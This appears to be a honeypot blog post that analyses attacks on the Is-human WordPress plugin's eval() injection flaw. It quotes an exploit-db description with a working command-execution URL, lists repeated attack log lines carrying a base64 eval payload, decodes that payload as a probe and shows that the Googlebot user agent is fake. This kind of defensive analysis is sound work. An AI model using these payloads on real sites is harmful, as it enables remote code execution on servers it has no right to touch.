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[Honeypot Alert] Is-human Wordpress Plugin Remote Command Execution Attack Detected

Our web honeypot logs picked up an attack aimed at exploiting the Is-human Wordpress Plugin Remote Command Execution Vulnerability as described here on exploit-db:

# Exploit Title: is-human (1.4.2 and prior) Worpdress plugin.# Date: 16.05.2011# Author: neworder [www.neworder-ind.net]# Software Link: http://wordpress.org/extend/plugins/is-human/# Version: 1.4.2# Tested on: Linux Platform The vulnerability exists in /is-human/engine.php . It is possible to take control of the eval() function via the 'type' parameter, when the 'action' is set to log-reset. From here we can run out own code. In order to avoid any errors we point the $is_hum->get_* array variable into $is_hum->get_ih and to close the execution without error we point it to php stored function error_log(). In between we may place our own php code and use the passthru() function to execute commands. Execution running the linux whoami command: http://server/wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();passthru(whoami);error

Here are the attacks that we received:

83.103.147.110 - - [13/Jan/2012:13:23:34 +0100] "GET /wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();eval(base64_decode(ZWNobyAnPGJyPkpGcnlfJzsNCmVjaG8gJzxicj5BbmFzS2knOw));error HTTP/1.1" 404 340 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"83.103.147.110 - - [13/Jan/2012:13:23:34 +0100] "GET /wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();eval(base64_decode(ZWNobyAnPGJyPkpGcnlfJzsNCmVjaG8gJzxicj5BbmFzS2knOw));error HTTP/1.1" 404 340 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"83.103.147.110 - - [13/Jan/2012:13:23:34 +0100] "GET /wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();eval(base64_decode(ZWNobyAnPGJyPkpGcnlfJzsNCmVjaG8gJzxicj5BbmFzS2knOw));error HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"83.103.147.110 - - [13/Jan/2012:13:23:34 +0100] "GET /wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();eval(base64_decode(ZWNobyAnPGJyPkpGcnlfJzsNCmVjaG8gJzxicj5BbmFzS2knOw));error HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"83.103.147.110 - - [13/Jan/2012:13:23:34 +0100] "GET /wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();eval(base64_decode(ZWNobyAnPGJyPkpGcnlfJzsNCmVjaG8gJzxicj5BbmFzS2knOw));error HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"83.103.147.110 - - [13/Jan/2012:13:23:34 +0100] "GET /wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();eval(base64_decode(ZWNobyAnPGJyPkpGcnlfJzsNCmVjaG8gJzxicj5BbmFzS2knOw));error HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"83.103.147.110 - - [13/Jan/2012:13:25:54 +0100] "GET /wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();eval(base64_decode(ZWNobyAnPGJyPkpGcnlfJzsNCmVjaG8gJzxicj5BbmFzS2knOw));error HTTP/1.1" 404 340 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"83.103.147.110 - - [13/Jan/2012:13:25:55 +0100] "GET /wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();eval(base64_decode(ZWNobyAnPGJyPkpGcnlfJzsNCmVjaG8gJzxicj5BbmFzS2knOw));error HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"83.103.147.110 - - [13/Jan/2012:13:25:55 +0100] "GET /wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();eval(base64_decode(ZWNobyAnPGJyPkpGcnlfJzsNCmVjaG8gJzxicj5BbmFzS2knOw));error HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"83.103.147.110 - - [13/Jan/2012:13:25:56 +0100] "GET /wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();eval(base64_decode(ZWNobyAnPGJyPkpGcnlfJzsNCmVjaG8gJzxicj5BbmFzS2knOw));error HTTP/1.1" 404 340 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"83.103.147.110 - - [13/Jan/2012:13:25:56 +0100] "GET /wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();eval(base64_decode(ZWNobyAnPGJyPkpGcnlfJzsNCmVjaG8gJzxicj5BbmFzS2knOw));error HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"83.103.147.110 - - [13/Jan/2012:13:25:56 +0100] "GET /wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();eval(base64_decode(ZWNobyAnPGJyPkpGcnlfJzsNCmVjaG8gJzxicj5BbmFzS2knOw));error HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"83.103.147.110 - - [13/Jan/2012:13:27:53 +0100] "GET /wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();eval(base64_decode(ZWNobyAnPGJyPkpGcnlfJzsNCmVjaG8gJzxicj5BbmFzS2knOw));error HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"83.103.147.110 - - [13/Jan/2012:13:27:54 +0100] "GET /wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();eval(base64_decode(ZWNobyAnPGJyPkpGcnlfJzsNCmVjaG8gJzxicj5BbmFzS2knOw));error HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"83.103.147.110 - - [13/Jan/2012:13:27:54 +0100] "GET /wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();eval(base64_decode(ZWNobyAnPGJyPkpGcnlfJzsNCmVjaG8gJzxicj5BbmFzS2knOw));error HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"83.103.147.110 - - [13/Jan/2012:13:27:54 +0100] "GET /wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();eval(base64_decode(ZWNobyAnPGJyPkpGcnlfJzsNCmVjaG8gJzxicj5BbmFzS2knOw));error HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"83.103.147.110 - - [13/Jan/2012:13:28:31 +0100] "GET /wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();eval(base64_decode(ZWNobyAnPGJyPkpGcnlfJzsNCmVjaG8gJzxicj5BbmFzS2knOw));error HTTP/1.1" 404 340 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"83.103.147.110 - - [13/Jan/2012:13:28:32 +0100] "GET /wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();eval(base64_decode(ZWNobyAnPGJyPkpGcnlfJzsNCmVjaG8gJzxicj5BbmFzS2knOw));error HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"83.103.147.110 - - [13/Jan/2012:13:28:32 +0100] "GET /wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();eval(base64_decode(ZWNobyAnPGJyPkpGcnlfJzsNCmVjaG8gJzxicj5BbmFzS2knOw));error HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"83.103.147.110 - - [13/Jan/2012:13:31:56 +0100] "GET /wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();eval(base64_decode(ZWNobyAnPGJyPkpGcnlfJzsNCmVjaG8gJzxicj5BbmFzS2knOw));error HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"83.103.147.110 - - [13/Jan/2012:13:31:56 +0100] "GET /wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();eval(base64_decode(ZWNobyAnPGJyPkpGcnlfJzsNCmVjaG8gJzxicj5BbmFzS2knOw));error HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"

The PHP code execution section is:

;eval(base64_decode(ZWNobyAnPGJyPkpGcnlfJzsNCmVjaG8gJzxicj5BbmFzS2knOw));error

The base64_decoded text is:

echo '<br>JFry_';echo '<br>AnasKi';

This text is believed to be a reference to "Anaski Crew" hacking site/group and is assumed to be a test request probe to verify if the site is vulnerable to attack.

Also of note is the fake GoogleBot User-Agent string:

"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"

Following the "Verifying GoogleBot" data on Google's Support site, we can do a reverse DNS lookup and confirm that IP address 83.103.147.110 does not reside on the legitimate ".googlebot.com" domain:

# host 83.103.147.110110.147.103.83.in-addr.arpa domain name pointer server1.bacau.astral.ro.

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